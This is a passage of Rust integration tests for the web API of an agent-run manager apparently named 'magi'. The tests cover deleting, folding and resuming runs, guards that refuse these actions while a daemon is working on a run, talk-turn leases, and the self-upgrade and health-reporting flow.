14000 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14001 .expect("write run.json");
14002
14003 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14005 assert_eq!(res.status, 204);
14006 assert!(res.body.is_empty(), "204 has no body");
14007 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14008
14009 let run_running = "20260901-000000-rung";
14014 write_run(&runs, run_running, RunStatus::Prep);
14015 let mut beat = crate::daemon::Status::new();
14016 beat.current = vec![crate::daemon::Current {
14017 task: "20260901-000000-task".to_owned(),
14018 run: run_running.to_owned(),
14019 }];
14020 beat.updated_at = jiff::Timestamp::now();
14021 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14022 .expect("publish a heartbeat");
14023 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14024 assert_eq!(res.status, 409);
14025 assert!(
14026 res.json()["error"]
14027 .as_str()
14028 .unwrap()
14029 .contains("live daemon"),
14030 "the refusal must say who is holding it"
14031 );
14032 assert!(
14033 runs.join(run_running).exists(),
14034 "a run in flight keeps its directory"
14035 );
14036
14037 let run_unfolded = "20260901-000000-unfd";
14039 let mut state2 = RunState::new(
14040 PathBuf::from("/repo"),
14041 "main".to_owned(),
14042 "abc".to_owned(),
14043 "instruction".to_owned(),
14044 Config::default(),
14045 );
14046 state2.id = run_unfolded.to_owned();
14047 state2.status = RunStatus::Ready;
14048 state2.candidates.push(crate::run::Candidate {
14049 index: 0,
14050 label: 'A',
14051 agent: "a".to_owned(),
14052 branch: "b".to_owned(),
14053 worktree: PathBuf::from("/w"),
14054 summary: String::new(),
14055 stat: String::new(),
14056 files: 1,
14057 commits: 1,
14058 empty: false,
14059 failed: None,
14060 verified_noop: None,
14061 duration_ms: 0,
14062 folded: false,
14063 });
14064 let dir2 = runs.join(run_unfolded);
14065 std::fs::create_dir_all(&dir2).expect("create dir2");
14066 std::fs::write(
14067 dir2.join("run.json"),
14068 serde_json::to_string(&state2).unwrap(),
14069 )
14070 .expect("write run.json");
14071
14072 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14073 assert_eq!(res.status, 409);
14074 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14075 assert!(dir2.exists(), "unfolded run directory is kept");
14076
14077 let res = fx.delete("/api/runs/nonexistent").await;
14079 assert_eq!(res.status, 404);
14080 }
14081
14082 #[test]
14091 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14092 let start = APP_JS
14093 .find("function renderStats() {")
14094 .expect("renderStats");
14095 let end = start
14096 + APP_JS[start..]
14097 .find("function statsTile(")
14098 .expect("the next top-level function");
14099 let body = &APP_JS[start..end];
14100
14101 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14102 let gate_end = gate_start
14103 + body[gate_start..]
14104 .find("}\n renderStatsQueue")
14105 .expect("the gate's own closing brace, right before the unconditional call");
14106 let gated = &body[gate_start..gate_end];
14107
14108 assert_eq!(
14109 body.matches("renderStatsQueue(").count(),
14110 1,
14111 "renderStats must call renderStatsQueue exactly once: {body}"
14112 );
14113 assert!(
14114 !gated.contains("renderStatsQueue"),
14115 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14116 run-derived panels on an empty run history - the queue panel has to render \
14117 regardless: {gated}"
14118 );
14119 }
14120
14121 #[test]
14122 fn web_ui_delete_contract_in_front_end() {
14123 assert!(APP_JS.contains("deleteRun:"));
14125 assert!(APP_JS.contains("deleteTask:"));
14126
14127 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14129 ..APP_JS.find("function renderRuns").unwrap()];
14130 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14131
14132 assert!(APP_JS.contains("renderRunDelete"));
14134 assert!(APP_JS.contains("runDeleteReason"));
14135 assert!(APP_JS.contains("magi fold"));
14136 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14137
14138 assert!(APP_JS.contains("cancel.focus"));
14140 assert!(APP_JS.contains("armedRunDelete"));
14141 assert!(APP_JS.contains("renderTaskDeleteBox"));
14142 assert!(APP_JS.contains("armed${cap(key)}"));
14143
14144 assert!(APP_JS.contains("disabled: status === \"running\""));
14146 }
14147
14148 #[test]
14168 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14169 let build = APP_JS
14170 .find("function createRunCard")
14171 .expect("createRunCard exists");
14172 let update = APP_JS
14173 .find("function updateRunCard")
14174 .expect("updateRunCard exists");
14175 let end = APP_JS
14176 .find("function renderRuns")
14177 .expect("renderRuns exists");
14178
14179 let builder = &APP_JS[build..update];
14181 let open = builder.find("refs = {").expect("createRunCard sets refs");
14182 let literal = &builder[open + "refs = {".len()..];
14183 let close = literal.find('}').expect("the refs literal is closed");
14184 let published: HashSet<&str> = literal[..close]
14185 .split(',')
14186 .filter_map(|entry| entry.split(':').next())
14188 .map(str::trim)
14189 .filter(|name| !name.is_empty())
14190 .collect();
14191 assert!(
14192 published.len() > 5,
14193 "the refs literal did not parse into names: {published:?}"
14194 );
14195
14196 let mut used: Vec<&str> = Vec::new();
14199 let updaters = &APP_JS[update..end];
14200 for (at, _) in updaters.match_indices("r.") {
14201 let before = updaters[..at].chars().next_back();
14204 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14205 continue;
14206 }
14207 let rest = &updaters[at + 2..];
14208 let len = rest
14209 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14210 .unwrap_or(rest.len());
14211 if len > 0 {
14212 used.push(&rest[..len]);
14213 }
14214 }
14215 assert!(
14216 used.len() > 5,
14217 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14218 );
14219
14220 let missing: Vec<&str> = used
14221 .iter()
14222 .copied()
14223 .filter(|name| !published.contains(name))
14224 .collect();
14225 assert!(
14226 missing.is_empty(),
14227 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14228 never put in `refs` - every card will throw and the list will \
14229 render empty under a count line that says otherwise. Published: \
14230 {published:?}"
14231 );
14232 }
14233
14234 #[tokio::test]
14235 async fn folding_from_the_phone_reports_what_it_removed() {
14236 let fx = Fixture::start().await;
14237 let runs = fx.runs();
14238
14239 let id = "20260901-000000-fold";
14243 write_run(&runs, id, RunStatus::Stalled);
14244 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14245 assert_eq!(res.status, 200);
14246 assert_eq!(res.json()["removed_count"], 0);
14247 assert_eq!(res.json()["run"], id);
14248 assert!(
14249 runs.join(id).exists(),
14250 "a fold keeps the run's record; only the worktrees go"
14251 );
14252 }
14253
14254 #[tokio::test]
14255 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14256 let fx = Fixture::start().await;
14257 let runs = fx.runs();
14258 let wt = fx.home.path().join("wt").join("magi").join("dead");
14259 let id = "20260901-000000-dead";
14260 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14261 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14262 std::fs::create_dir_all(&wt).expect("worktree dir");
14263
14264 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14265 assert_eq!(res.status, 200, "{}", res.body);
14266 assert!(
14267 res.json()["removed_count"].as_u64().unwrap() > 0,
14268 "the worktree this build could not read a state for still went"
14269 );
14270 assert!(
14271 !runs.join(id).exists(),
14272 "an unreadable run has no candidate list to fold selectively, so \
14273 the whole record goes - same as `magi fold` on the CLI"
14274 );
14275 }
14276
14277 #[tokio::test]
14278 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14279 let fx = Fixture::start().await;
14280 let runs = fx.runs();
14281 let wt = fx.home.path().join("wt").join("magi").join("gone");
14282 let id = "20260901-000000-gone";
14283 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14284 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14285 std::fs::create_dir_all(&wt).expect("worktree dir");
14286
14287 let res = fx.delete(&format!("/api/runs/{id}")).await;
14288 assert_eq!(res.status, 204, "{}", res.body);
14289 assert!(!runs.join(id).exists(), "the broken record is gone");
14290 assert!(!wt.exists(), "its worktree is gone too");
14291 }
14292
14293 #[tokio::test]
14294 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14295 let fx = Fixture::start().await;
14296 let runs = fx.runs();
14297 let id = "20260901-000000-live";
14298 write_run(&runs, id, RunStatus::Implementing);
14299
14300 let mut beat = crate::daemon::Status::new();
14301 beat.current = vec![crate::daemon::Current {
14302 task: "20260901-000000-task".to_owned(),
14303 run: id.to_owned(),
14304 }];
14305 beat.updated_at = jiff::Timestamp::now();
14306 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14307 .expect("publish a heartbeat");
14308
14309 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14310 assert_eq!(res.status, 409);
14311 assert!(
14312 res.json()["error"]
14313 .as_str()
14314 .unwrap()
14315 .contains("live daemon"),
14316 "folding under a running agent would pull its worktree away"
14317 );
14318 }
14319
14320 #[tokio::test]
14321 async fn fold_merged_requires_a_pr_url() {
14322 let fx = Fixture::start().await;
14323 let runs = fx.runs();
14324 let id = "20260901-000000-nourl";
14325 write_run(&runs, id, RunStatus::Blocked);
14326
14327 let res = fx
14328 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14329 .await;
14330 assert_eq!(res.status, 400, "{}", res.body);
14331
14332 let blank = fx
14333 .post(
14334 &format!("/api/runs/{id}/fold-merged"),
14335 Some(r#"{"pr_url":" "}"#),
14336 )
14337 .await;
14338 assert_eq!(blank.status, 400, "{}", blank.body);
14339 }
14340
14341 #[tokio::test]
14342 async fn fold_merged_is_404_for_an_unknown_run() {
14343 let fx = Fixture::start().await;
14344 let res = fx
14345 .post(
14346 "/api/runs/nosuchrun/fold-merged",
14347 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14348 )
14349 .await;
14350 assert_eq!(res.status, 404, "{}", res.body);
14351 }
14352
14353 #[tokio::test]
14354 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14355 let fx = Fixture::start().await;
14356 let runs = fx.runs();
14357 let id = "20260901-000000-livemerge";
14358 write_run(&runs, id, RunStatus::Blocked);
14359
14360 let mut beat = crate::daemon::Status::new();
14361 beat.current = vec![crate::daemon::Current {
14362 task: "20260901-000000-task".to_owned(),
14363 run: id.to_owned(),
14364 }];
14365 beat.updated_at = jiff::Timestamp::now();
14366 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14367 .expect("publish a heartbeat");
14368
14369 let res = fx
14370 .post(
14371 &format!("/api/runs/{id}/fold-merged"),
14372 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14373 )
14374 .await;
14375 assert_eq!(res.status, 409, "{}", res.body);
14376 assert!(
14377 res.json()["error"]
14378 .as_str()
14379 .unwrap()
14380 .contains("live daemon"),
14381 "correcting a run's merge underneath a running agent would race \
14382 whatever it is doing to the same `status`/`merge` fields"
14383 );
14384 }
14385
14386 #[tokio::test]
14391 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14392 let fx = Fixture::start().await;
14393 let runs = fx.runs();
14394 let id = "20260901-000000-unconfirmed";
14395 write_run(&runs, id, RunStatus::Blocked);
14396
14397 let res = fx
14398 .post(
14399 &format!("/api/runs/{id}/fold-merged"),
14400 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14401 )
14402 .await;
14403 assert_eq!(res.status, 400, "{}", res.body);
14404 assert_eq!(
14405 read_run(&runs, id).unwrap().status,
14406 RunStatus::Blocked,
14407 "a pull request that could not be confirmed merged must leave \
14408 the run exactly where it was"
14409 );
14410 }
14411
14412 #[tokio::test]
14413 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14414 let fx = Fixture::start().await;
14415 let runs = fx.runs();
14416
14417 for (status, word) in [
14423 (RunStatus::Merged, "merged"),
14424 (RunStatus::Ready, "ready"),
14425 (RunStatus::Failed, "failed"),
14426 ] {
14427 let id = format!("20260901-000000-{}", &word[..4]);
14428 write_run(&runs, &id, status);
14429 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14430 assert_eq!(res.status, 409, "{word} must not be resumable");
14431 let err = res.json()["error"].as_str().unwrap().to_owned();
14432 assert!(err.contains(word), "the refusal names the status: {err}");
14433 }
14434
14435 let mid = "20260901-000000-midf";
14440 write_run(&runs, mid, RunStatus::Reviewing);
14441 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14442 assert_eq!(res.status, 202, "an interrupted run is resumable");
14443 }
14444
14445 #[tokio::test]
14446 async fn resume_is_refused_while_the_loop_is_running() {
14447 let fx = Fixture::start().await;
14448 let runs = fx.runs();
14449 let stalled = "20260901-000000-stal";
14450 write_run(&runs, stalled, RunStatus::Stalled);
14451
14452 let mut beat = crate::daemon::Status::new();
14456 beat.current = vec![crate::daemon::Current {
14457 task: "20260901-000000-task".to_owned(),
14458 run: "20260901-000000-othr".to_owned(),
14459 }];
14460 beat.updated_at = jiff::Timestamp::now();
14461 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14462 .expect("publish a heartbeat");
14463
14464 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14465 assert_eq!(res.status, 409);
14466 let err = res.json()["error"].as_str().unwrap().to_owned();
14467 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14468 assert!(err.contains("stop it first"), "{err}");
14469 }
14470
14471 #[test]
14472 fn a_run_cannot_be_resumed_twice_at_once() {
14473 let home = TempDir::new().expect("temp home");
14474 let ui = Ui::new(
14475 Queue::at(home.path().join("queue")),
14476 Questions::at(home.path().join("questions")),
14477 Talks::at(home.path().join("talks")),
14478 home.path().join("runs"),
14479 home.path().to_path_buf(),
14480 PathBuf::from("/repo"),
14481 )
14482 .with_worktrees_root(home.path().join("wt"));
14483 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14484 let again = ui.begin_resume("20260901-000000-once");
14485 assert!(again.is_err(), "a second tap must not start a second graph");
14486 drop(first);
14487 assert!(
14488 ui.begin_resume("20260901-000000-once").is_ok(),
14489 "and the claim is released when the attempt ends"
14490 );
14491 }
14492
14493 #[test]
14494 fn talk_thinking_tracks_only_its_held_turn_claim() {
14495 let home = TempDir::new().expect("temp home");
14496 let ui = Ui::new(
14497 Queue::at(home.path().join("queue")),
14498 Questions::at(home.path().join("questions")),
14499 Talks::at(home.path().join("talks")),
14500 home.path().join("runs"),
14501 home.path().to_path_buf(),
14502 PathBuf::from("/repo"),
14503 )
14504 .with_worktrees_root(home.path().join("wt"));
14505 let id = "20260901-000000-once";
14506
14507 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14508 let turn = ui.begin_talk_turn(id).expect("claim turn");
14509 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14510 assert!(
14511 !ui.is_thinking("20260901-000000-other"),
14512 "one talk's turn does not make another talk busy"
14513 );
14514 drop(turn);
14515 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14516 }
14517
14518 #[test]
14519 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14520 let home = TempDir::new().expect("temp home");
14521 let talks = Talks::at(home.path().join("talks"));
14522 let ui = Ui::new(
14523 Queue::at(home.path().join("queue")),
14524 Questions::at(home.path().join("questions")),
14525 talks.clone(),
14526 home.path().join("runs"),
14527 home.path().to_path_buf(),
14528 PathBuf::from("/repo"),
14529 )
14530 .with_worktrees_root(home.path().join("wt"));
14531 let id = "20260901-000000-cross";
14532
14533 let other = Talks::at(home.path().join("talks"))
14534 .claim_turn(id)
14535 .expect("claim")
14536 .expect("the other process wins");
14537 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14538 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14539 assert!(
14540 matches!(
14541 ui.begin_talk_turn_unless_pending(id).expect("start"),
14542 TalkTurnStart::Foreign
14543 ),
14544 "a foreign holder is refused, not queued behind"
14545 );
14546 assert!(
14547 !ui.talk_turns.lock().unwrap().live.contains(id),
14548 "a refused claim leaves no in-process entry behind"
14549 );
14550 drop(other);
14551 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14552 assert!(talks.turn_held(id), "the web turn holds the lease");
14553 drop(turn);
14554 assert!(
14555 !talks.turn_held(id),
14556 "dropping the guard releases the lease"
14557 );
14558 }
14559
14560 #[test]
14561 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14562 let home = TempDir::new().expect("temp home");
14563 let talks = Talks::at(home.path().join("talks"));
14564 let ui = Ui::new(
14565 Queue::at(home.path().join("queue")),
14566 Questions::at(home.path().join("questions")),
14567 talks.clone(),
14568 home.path().join("runs"),
14569 home.path().to_path_buf(),
14570 PathBuf::from("/repo"),
14571 )
14572 .with_worktrees_root(home.path().join("wt"));
14573 let id = "20260901-000000-order";
14574 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14575 let slots = ui.talk_turns.lock().unwrap();
14577 let dropper = std::thread::spawn(move || drop(turn));
14578 let start = std::time::Instant::now();
14579 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14580 std::thread::sleep(Duration::from_millis(5));
14581 }
14582 assert!(!talks.turn_held(id), "the lease is released first");
14583 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14584 drop(slots);
14585 dropper.join().expect("join");
14586 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14587 }
14588
14589 #[tokio::test]
14590 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14591 let fx = Fixture::start().await;
14592 let mut beat = crate::daemon::Status::new();
14596 beat.pid = 4321;
14597 beat.updated_at = jiff::Timestamp::now();
14598 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14599 .expect("publish a heartbeat");
14600
14601 let res = fx.post("/api/upgrade", None).await;
14602 assert_eq!(res.status, 409);
14603 let err = res.json()["error"].as_str().unwrap().to_owned();
14604 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14605 assert!(err.contains("old one against the same queue"), "{err}");
14606 }
14607
14608 #[test]
14615 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14616 assert!(!should_spawn_recheck(&crate::config::Update {
14617 mode: UpdateMode::Off,
14618 interval: None,
14619 }));
14620
14621 unsafe {
14624 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14625 }
14626 let killed = should_spawn_recheck(&crate::config::Update {
14627 mode: UpdateMode::Notify,
14628 interval: None,
14629 });
14630 unsafe {
14631 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14632 }
14633 assert!(
14634 !killed,
14635 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14636 one-time startup check"
14637 );
14638
14639 assert!(should_spawn_recheck(&crate::config::Update {
14640 mode: UpdateMode::Notify,
14641 interval: None,
14642 }));
14643 }
14644
14645 #[test]
14651 fn recheck_poll_period_tracks_a_short_configured_interval() {
14652 let short = crate::config::Update {
14653 mode: UpdateMode::Notify,
14654 interval: Some("1m".to_owned()),
14655 };
14656 let period = recheck_poll_period(&short);
14657 assert!(
14658 period <= Duration::from_secs(30),
14659 "a one-minute interval must wake the task far sooner than the \
14660 default ceiling, or the deck would not notice within the \
14661 interval the operator configured: got {period:?}"
14662 );
14663
14664 let default = crate::config::Update {
14665 mode: UpdateMode::Notify,
14666 interval: None,
14667 };
14668 assert_eq!(
14669 recheck_poll_period(&default),
14670 UPDATE_RECHECK_POLL_MAX,
14671 "the default day-long interval should poll at the (capped) \
14672 ceiling rather than needlessly often"
14673 );
14674 }
14675
14676 #[test]
14684 fn recheck_skips_the_network_before_the_interval_elapses() {
14685 let dir = TempDir::new().expect("temp dir");
14686 let path = dir.path().join("state.json");
14687 let state = kaishin::UpdateCheckState {
14688 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14689 last_known_latest: None,
14690 last_known_url: None,
14691 };
14692 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14693
14694 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14695 assert!(
14696 !update_recheck_due(&checker, None),
14697 "a check made moments ago must not be repeated before the \
14698 configured interval elapses"
14699 );
14700 }
14701
14702 #[test]
14708 fn recheck_defers_to_an_upgrade_already_in_flight() {
14709 let dir = TempDir::new().expect("temp dir");
14710 let path = dir.path().join("state.json");
14711 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14712 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14713
14714 assert!(
14715 !update_recheck_due(&checker, Some(&progress)),
14716 "a recheck must not run while an upgrade this deck started is \
14717 still moving"
14718 );
14719 }
14720
14721 #[tokio::test]
14722 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14723 unsafe {
14735 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14736 }
14737 let fx = Fixture::start().await;
14738 let res = fx.post("/api/upgrade", None).await;
14739 unsafe {
14740 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14741 }
14742 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14743 let body = res.json();
14744 assert!(body["to"].is_null(), "there was no release to move to");
14745 assert!(body["parked"].is_null(), "and nothing was parked");
14746 assert!(
14747 body["detail"]
14748 .as_str()
14749 .unwrap()
14750 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14751 "{body:?}"
14752 );
14753 }
14754
14755 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14756 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14757 p.stage = stage;
14758 p
14759 }
14760
14761 #[test]
14762 fn busy_stages_match_the_ui_set() {
14763 use crate::updater::Stage;
14764 assert!(APP_JS.contains(
14765 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14766 ));
14767 for s in [
14768 Stage::Downloading,
14769 Stage::Replaced,
14770 Stage::Parking,
14771 Stage::Restarting,
14772 ] {
14773 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14774 }
14775 for s in [Stage::Done, Stage::Failed] {
14776 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14777 }
14778 assert!(upgrade_in_motion(None).is_none());
14779 }
14780
14781 #[tokio::test]
14782 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14783 use crate::updater::Stage;
14784 for stage in [
14785 Stage::Downloading,
14786 Stage::Replaced,
14787 Stage::Parking,
14788 Stage::Restarting,
14789 ] {
14790 let fx = Fixture::start().await;
14791 let seeded = seeded_progress(stage);
14792 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14793 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14794 .expect("read");
14795
14796 let res = fx.post("/api/upgrade", None).await;
14797 assert_eq!(res.status, 409, "{stage:?}");
14798 let err = res.json()["error"].as_str().unwrap().to_owned();
14799 assert!(err.contains("already in progress"), "{err}");
14800 assert!(err.contains(stage.as_str()), "{err}");
14801
14802 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14803 .expect("read");
14804 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14805 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14806 .unwrap_or_default();
14807 assert!(!log.contains("signalling HANDOVER"), "{log}");
14808 }
14809 }
14810
14811 #[tokio::test]
14812 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14813 use crate::updater::Stage;
14814 let repo = TempDir::new().expect("repo dir");
14815 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14816 .expect("write magi.toml");
14817 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14818 for stage in [Stage::Done, Stage::Failed] {
14819 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14820 let res = fx.post("/api/upgrade", None).await;
14821 assert_eq!(res.status, 200, "{stage:?}");
14822 }
14823 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14825 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14826 }
14827
14828 #[tokio::test]
14829 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14830 let repo = TempDir::new().expect("repo dir");
14846 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14847 .expect("write magi.toml");
14848 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14849
14850 let res = fx.post("/api/upgrade", None).await;
14856 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14857 let body = res.json();
14858 assert!(body["to"].is_null(), "there was no release to move to");
14859 assert!(body["parked"].is_null(), "and nothing was parked");
14860 assert!(
14861 body["detail"]
14862 .as_str()
14863 .unwrap()
14864 .contains("nothing restarted"),
14865 "{body:?}"
14866 );
14867 }
14868
14869 #[tokio::test]
14870 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14871 let repo = TempDir::new().expect("repo dir");
14876 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14877 .expect("write magi.toml");
14878 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14879
14880 let health = fx.get("/api/health").await.json();
14881 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14882 assert_eq!(
14883 health["update"]["available"], false,
14884 "checking is off, which reads as \"unknown\", not \"none\""
14885 );
14886 assert!(health["update"]["to"].is_null());
14887 assert!(
14888 health["upgrade"].is_null(),
14889 "nothing has ever asked this deck to upgrade"
14890 );
14891 }
14892
14893 #[tokio::test]
14894 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14895 let fx = Fixture::start().await;
14896 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14897
14898 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14899 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14900 progress.advance(crate::updater::Stage::Parking);
14901 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14902
14903 let health = fx.get("/api/health").await.json();
14904 assert_eq!(health["upgrade"]["stage"], "parking");
14905 assert_eq!(health["upgrade"]["from"], "0.5.1");
14906 assert_eq!(health["upgrade"]["to"], "0.5.2");
14907 let waiting_on = health["upgrade"]["waiting_on"]
14908 .as_str()
14909 .expect("waiting_on is set while parking a known run");
14910 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14911 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14912 }
14913
14914 #[tokio::test]
14915 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14916 let fx = Fixture::start().await;
14917 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14918 progress.advance(crate::updater::Stage::Done);
14919 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14920
14921 let health = fx.get("/api/health").await.json();
14922 assert_eq!(health["upgrade"]["stage"], "done");
14923 assert!(
14924 health["upgrade"]["waiting_on"].is_null(),
14925 "nothing to wait on once it is done"
14926 );
14927 }
14928
14929 #[tokio::test]
14930 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14931 let home = TempDir::new().expect("temp home");
14932 let runs = home.path().join("runs");
14933 std::fs::create_dir_all(&runs).expect("runs dir");
14934 let ui = Ui::new(
14935 Queue::at(home.path().join("queue")),
14936 Questions::at(home.path().join("questions")),
14937 Talks::at(home.path().join("talks")),
14938 runs,
14939 home.path().to_path_buf(),
14940 PathBuf::from("/repo/magi"),
14941 )
14942 .with_launch(launch_idle);
14943 let looping = ui.looping();
14944 let turns = ui.turns();
14945 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14946 .await
14947 .expect("bind loopback");
14948 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14949
14950 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14951 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14952
14953 hand_over(
14954 home.path(),
14955 &looping,
14956 &turns,
14957 &|_: &[String]| Duration::from_secs(5),
14958 served,
14959 |_| Ok(1),
14960 )
14961 .await
14962 .expect("hand over");
14963
14964 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14965 assert_eq!(
14966 after.stage,
14967 crate::updater::Stage::Restarting,
14968 "hand_over owns the record through parking and up to restarting; \
14969 the successor is what finishes it"
14970 );
14971 }
14972
14973 #[tokio::test]
14976 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14977 for fail in [false, true] {
14978 let home = TempDir::new().expect("temp home");
14979 let ui = idle_ui(&home);
14980 let looping = ui.looping();
14981 let turns = ui.turns();
14982 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14983 .await
14984 .expect("bind loopback");
14985 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14986 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14987 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14988
14989 let calls = std::sync::atomic::AtomicUsize::new(0);
14990 let outcome = hand_over(
14991 home.path(),
14992 &looping,
14993 &turns,
14994 &|_: &[String]| Duration::from_secs(5),
14995 served,
14996 |_| {
14997 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14998 if fail {
14999 anyhow::bail!("no exec")
15000 } else {
15001 Ok(4242)
15002 }
15003 },
15004 )
15005 .await;
15006 assert_eq!(outcome.is_err(), fail);
15007 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15008
15009 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15010 .expect("upgrade.log is written under the home");
15011 for step in [
